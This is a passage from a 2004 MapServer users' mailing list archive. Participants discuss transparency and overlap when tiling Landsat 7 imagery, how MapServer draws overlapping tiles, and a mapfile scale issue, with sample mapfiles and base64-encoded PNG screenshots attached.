> recognises "nodata" values, but this isn't very convenient to arrange.
> There is no way to include nodata values in the raster tile index.
>
> Best regards,
> -- 
> ---------------------------------------+----------------------------------
----
> I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush    | Geospatial Programmer for Rent
>
>
>



From Tom.Kralidis at ec.gc.ca  Fri Jan 30 14:59:39 2004
From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington])
Date: Fri, 30 Jan 2004 17:59:39 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to t
 ile : overlap + transparency
Message-ID: <2576812186CDD411BF1500508B6DCE9506436B93@ECNWRI1.ontario.int.ec.gc.ca>

Hi Stephen,

What are your requirements for using the Landsat 7 Orthoimagery in
MapServer?

The CCRS WMS has the entire Landsat 7 Orthorectified Imagery collection,
which is on GeoGratis, available as OGC:WMS:

URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi
Layer name: L7O_B743:CEOWARE2

Note that this layer is also timestamped, i.e. you can query via TIME in
OGC:WMS also.  The scenes' black areas are transparent.

Just thought it'd be easier to point to an OGC:WMS of this data rather than
roll your own.

Another comment: I'd be interested, as a separate exercise, how MapServer
deals with overlapping images in a given layer.  What kind of algorithm is
done between scenes which overlap?

Thanks

..Tom

=========================
Tom Kralidis
Systems Scientist
Environment Canada
Tel: +01-905-336-4409
http://www.ec.gc.ca/cise/

========================= 

> -----Original Message-----
> From: Stephen Clark [mailto:stephen.clark at focus.ca] 
> Sent: Friday, January 30, 2004 6:52 PM
> To: Frank Warmerdam
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] I have some landsat 7 data 
> that I want to tile : overlap + transparency
> 
> 
> Frank,
> 
> My landsat data is from the Geogratis web site :
> 
> http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/
> 
> Specifically these three scenes as example:
> 
> http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> tm/047021/
> http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> tm/048021/
> http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> tm/049021/
> 
> I compressed the files to ECW and produced this layer:
> 
> LAYER
>   NAME landsat_048_021_rgb
>   DATA 
> "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw"
>   TYPE RASTER
>   STATUS ON
>   TRANSPARENCY 60
> 
>   # turn off the black background in the image files
>    OFFSITE 0 0 0
> END
> 
> 
> >Do all the images have the same background value?   YES -- they do.
> There is a residual amount of black fuzziness around the 
> scenes after using the above OFFSITE command.
> 
> Here is a LAYER file for the tiled index of Landsat scenes:
> 
> LAYER
>   NAME landsat_tile
>   TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
>   TILEITEM "location"
>   TYPE RASTER
>   STATUS ON
>   TRANSPARENCY 60
> 
>   # turn off the black background in the image files
>   OFFSITE 0 0 0
> 
>   METADATA
>     WMS_TITLE "Lansdat 7 Imagery "
>     WMS_ABSTRACT "N/A"
>     WMS_SRS "EPSG:26910"
>   END
> 
> END
> 
> But this tiled layer does not have any transparency.  How 
> would I fix this?
> 
> thanks
> Stephen
> 
> ----- Original Message ----- 
> From: "Frank Warmerdam" 
> To: "Stephen Clark" 
> Cc: 
> Sent: Friday, January 30, 2004 2:31 PM
> Subject: Re: [Mapserver-users] I have some landsat 7 data 
> that I want to tile : overlap + transparency
> 
> 
> > Stephen Clark wrote:
> > > Hi All,
> > >
> > >
> > > I have some landsat 7 data that I want to tile but the scenes 
> > > overlap.
> > >
> > > Can I use some sort of command that can be added to the 
> "gdaltindex" 
> > > command to add a transparency value to these scenes so that the 
> > > overlap areas can show through.
> >
> > Stephen,
> >
> > Do all the images have the same background value?  If so, use it as 
> > the offsite value for the whole layer and it will be used 
> with all the 
> > images. The other alternative is to store the tiles in a format for 
> > which GDAL recognises "nodata" values, but this isn't very 
> convenient 
> > to arrange. There is no way to include nodata values in the raster 
> > tile index.
> >
> > Best regards,
> > --
> > 
> ---------------------------------------+------------------------------
> > ---------------------------------------+----
> ----
> > I set the clouds in motion - turn up   | Frank Warmerdam,
> warmerdam at pobox.com
> > light and sound - activate the windows | http://pobox.com/~warmerdam
> > and watch the world go round - Rush    | Geospatial 
> Programmer for Rent
> >
> >
> >
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 


From David.Fawcett at state.mn.us  Fri Jan 30 15:04:49 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Fri, 30 Jan 2004 17:04:49 -0600
Subject: [Mapserver-users] Projection Systems question
Message-ID: 

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=__PartD0F18701.1__=
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Amit, List:

I played with the data and the mapfile.  I was able to reproduce what
Amit was seeing, and display all of the points in the .shp.  I figured
out how to control the issue, but I am not sure of the root cause.  

I modified the MAP file to improve symbology and add a label.  When I
called the map using URL
'http://127.0.0.1/cgi-bin/ms4/mapserv.exe?map=c%3A%5Capache%5Chtdocs%5Camittest%5Ctest.map&mode=map'
one point displays, with a label, it is identified as TREEID 431 which
is locate in the south west region of the extent.   This isn't what I
expected to see, but it reproduces what Amit was seeing.  The point
wasn't noise, but an actual point from the .shp.  

When I added a MINSCALE of 1000000to the WEB object, I can see all of
the points in the shp.  

I therefore assume that there is some issue with the extent in the MAP
file and the MINSCALE  is preventing it from zooming too far.  

Ed, can you shed some light on this?  

I have attached images of the two conditions that I have described.

David.

Here is the MAP file____________________________

MAP
  NAME test
  IMAGETYPE PNG
  STATUS ON
  EXTENT         385538 3761010 391329 3764477
  UNITS METERS
  SIZE           400 400
  SHAPEPATH      "c:\apache\htdocs\amittest\data"
  FONTSET symbols/fonts/fonts.list
  WEB
    IMAGEPATH "c:\Apache\htdocs\tmp\"				
    IMAGEURL "/tmp/"  
    #MINSCALE 100000         #with this enabled, produces image with all
points
    #MAXSCALE 15500000       #see 'with_scale_restrictions.png'
  END
  
  # Start of symbol definition
#
SYMBOL
  NAME 'circle'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED TRUE
END
  
  
  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER 
    NAME  trees
    DATA  vernon_trees
    STATUS  DEFAULT
    TYPE POINT	
	LABELITEM "TREEID"
    CLASS
      COLOR         255 0 51
	  SYMBOL 'circle'
	  SIZE  6

      #LABEL
       #TYPE TRUETYPE
        #FONT "arial-bold"
        #SIZE 10
        #POSITION auto
        #SHADOWCOLOR 204 204 204
        #ANTIALIAS TRUE        
     #END
    END
  END #  layer ends here
END # end of map file/object

__________________________________________________

David J. Fawcett
MN Office of Environmental Assistance

--=__PartD0F18701.1__=
Content-Type: image/png; name="no_scale_restrictions.png"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="no_scale_restrictions.png"
Content-Description: Portable Network Graphics Format

iVBORw0KGgoAAAANSUhEUgAAAZAAAAGQCAMAAAHAZvZoAAAAb1BMVEX/////ADMAAADMzMz4+PjS
0tLf39/y8vLr6+vY2Njl5eUfHx8ZGRlfX1+/v7+Li4s8PDw/Pz+dnZ29vb23t7efn59/f39TU1NM
TEw2NjbDw8OysrJdXV06Ojpvb29RUVEcHBw+Pj4aGhppaWl5eXngpUhLAAABoUlEQVR4nO3dy1Lb
QBAF0FYPGgwSJgJinKcTkv//xsikklVWATOWfc5GNdrM7boqbaSSIgDgMDbZt44AAMDBbVsHAAAA
AP7LbXz5+TbPcro32QUAAAAAAAAAeEXr8XPNQ2+yGXf9wTd55u0FAAAAAAAAAAAAAAAAAAAAZsN4
85gXdfG/Xc77MeJbjcUPElGilvmw/EH+6HzjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ADhu2ef2Q0xPrXO8VGZ/kWVdxtZBXmi6y4e4zIilD/J+k5ucfix/kFkfpUaU6FoHeSVddyKTnMwg
J3NpAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAJyhmkPUm8yp7lfD0DrPuZurGPv68dNtbq/WOcyL1onOWh3elecO1l9zF3F5rZC28rfv
03yzeir7Ewppa7VazR2sHjN35ToUcoy6vdYh+KvrNHJc9AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAP/0C6XXBiejYwctAAAAAElFTkSuQmCC

--=__PartD0F18701.1__=
Content-Type: image/png; name="with_scale_restrictions.png"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="with_scale_restrictions.png"
Content-Description: Portable Network Graphics Format

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

--=__PartD0F18701.1__=--


From warmerdam at pobox.com  Fri Jan 30 15:12:17 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 30 Jan 2004 18:12:17 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to t
 ile : overlap + transparency
In-Reply-To: <2576812186CDD411BF1500508B6DCE9506436B93@ECNWRI1.ontario.int.ec.gc.ca>
References: <2576812186CDD411BF1500508B6DCE9506436B93@ECNWRI1.ontario.int.ec.gc.ca>
Message-ID: <401AE4D1.5070904@pobox.com>

Kralidis,Tom [Burlington] wrote:
> Another comment: I'd be interested, as a separate exercise, how MapServer
> deals with overlapping images in a given layer.  What kind of algorithm is
> done between scenes which overlap?

Tom,

If the images are part of a single layer controlled by tileindex, then
all images intersecting the area of interest will be drawn in the order
they are returned by the tile index search.  Later ones will be drawn over
earlier ones.

Note that if you have MapServer shapefile spatial setup for your raster
tile index, the files may not be returned in the same order that they
appear in the tile index due to the way the "spatial index tree" is
walked.  If you want dependable ordering don't use a spatial index on
the tile index, and order them in the tile index in order of priority
(least to most).

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From warmerdam at pobox.com  Fri Jan 30 15:25:31 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 30 Jan 2004 18:25:31 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile
 : overlap + transparency
In-Reply-To: <01e701c3e78c$06ebcbe0$6c000a0a@sclark>
References:  <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com> <01e701c3e78c$06ebcbe0$6c000a0a@sclark>
Message-ID: <401AE7EB.8000504@pobox.com>

Stephen Clark wrote:
> There is a residual amount of black fuzziness around the scenes after using
> the above OFFSITE command.

Stephen,

That is pretty much inevitable if you use ECW.  Lossy compression formats
will not maintain nodata areas cleanly.

> Here is a LAYER file for the tiled index of Landsat scenes:
> 
> LAYER
>   NAME landsat_tile
>   TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
>   TILEITEM "location"
>   TYPE RASTER
>   STATUS ON
>   TRANSPARENCY 60
> 
>   # turn off the black background in the image files
>   OFFSITE 0 0 0
> 
>   METADATA
>     WMS_TITLE "Lansdat 7 Imagery "
>     WMS_ABSTRACT "N/A"
>     WMS_SRS "EPSG:26910"
>   END
> 
> END
> 
> But this tiled layer does not have any transparency.  How would I fix this?

Are you saying you don't think the "TRANSPARENCY 60" had any effect or that
offsite areas don't come through in the result as transparent?  Does it work
if the layer has only a single file instead of using a TILEINDEX?

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From stephen.clark at focus.ca  Fri Jan 30 16:57:29 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 30 Jan 2004 16:57:29 -0800
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency
References: <2576812186CDD411BF1500508B6DCE9506436B93@ECNWRI1.ontario.int.ec.gc.ca>
Message-ID: <02a901c3e795$33bc2ee0$6c000a0a@sclark>

Tom,

Is this the same as the CANIMAGE WMS layer from :

"http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?"

If so I already have this layer added to MapServer.

My use of Landsat 7 Imagery is for a backdrop in my PDF files.  But I cannot
get the WMS server to produce a 300 dpi image so I need to copy them locally
to produce the 300 dpi PDF files.

Do you know of a WMS command that will produce an image ad a particular DPI?

thanks
Stephen

----- Original Message ----- 
From: "Kralidis,Tom [Burlington]" 
To: "'Stephen Clark'" ; "Frank Warmerdam"

Cc: 
Sent: Friday, January 30, 2004 2:59 PM
Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to
tile : overlap + transparency


>
> Hi Stephen,
>
> What are your requirements for using the Landsat 7 Orthoimagery in
> MapServer?
>
> The CCRS WMS has the entire Landsat 7 Orthorectified Imagery collection,
> which is on GeoGratis, available as OGC:WMS:
>
> URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi
> Layer name: L7O_B743:CEOWARE2
>
> Note that this layer is also timestamped, i.e. you can query via TIME in
> OGC:WMS also.  The scenes' black areas are transparent.
>
> Just thought it'd be easier to point to an OGC:WMS of this data rather
than
> roll your own.
>
> Another comment: I'd be interested, as a separate exercise, how MapServer
> deals with overlapping images in a given layer.  What kind of algorithm is
> done between scenes which overlap?
>
> Thanks
>
> ..Tom
>
> =========================
> Tom Kralidis
> Systems Scientist
> Environment Canada
> Tel: +01-905-336-4409
> http://www.ec.gc.ca/cise/
>
> =========================
>
> > -----Original Message-----
> > From: Stephen Clark [mailto:stephen.clark at focus.ca]
> > Sent: Friday, January 30, 2004 6:52 PM
> > To: Frank Warmerdam
> > Cc: mapserver-users at lists.gis.umn.edu
> > Subject: Re: [Mapserver-users] I have some landsat 7 data
> > that I want to tile : overlap + transparency
> >
> >
> > Frank,
> >
> > My landsat data is from the Geogratis web site :
> >
> > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/
> >
> > Specifically these three scenes as example:
> >
> > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > tm/047021/
> > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > tm/048021/
> > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > tm/049021/
> >
> > I compressed the files to ECW and produced this layer:
> >
> > LAYER
> >   NAME landsat_048_021_rgb
> >   DATA
> > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw"
> >   TYPE RASTER
> >   STATUS ON
> >   TRANSPARENCY 60
> >
> >   # turn off the black background in the image files
> >    OFFSITE 0 0 0
> > END
> >
> >
> > >Do all the images have the same background value?   YES -- they do.
> > There is a residual amount of black fuzziness around the
> > scenes after using the above OFFSITE command.
> >
> > Here is a LAYER file for the tiled index of Landsat scenes:
> >
> > LAYER
> >   NAME landsat_tile
> >   TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
> >   TILEITEM "location"
> >   TYPE RASTER
> >   STATUS ON
> >   TRANSPARENCY 60
